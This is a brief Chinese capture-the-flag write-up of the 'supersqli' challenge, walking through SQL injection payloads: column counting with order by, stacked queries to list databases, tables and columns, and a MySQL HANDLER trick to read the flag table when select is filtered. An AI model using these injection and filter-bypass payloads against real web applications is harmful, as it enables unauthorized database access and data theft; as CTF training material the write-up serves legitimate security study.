原题
解题思路
直接查找看不到明显的回显变化 先找回显变化数量
-1' order by 2 #
如果是3列就报错,说明只有两列。接下来找数据库名称:
-1' union select 1,databases #
结果是后端做了一些简单的过滤,需要更换查找语句。
-1'; show databases; #
题目就叫supersqli,目标数据库也明显了。下面找数据库的表。
-1';use supersqli;show tables;#
两个表但从名字来看第一个表比较可疑,不过第二个也有可能,就依次查看各个表的列。先是数字表。
-1';use supersqli;show columns from `1919810931114514`;#
flag的位置找到了。但是查询语句被过滤了,有一个handler查询法:MYSQL神秘的HANDLER命令与实现方法
-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#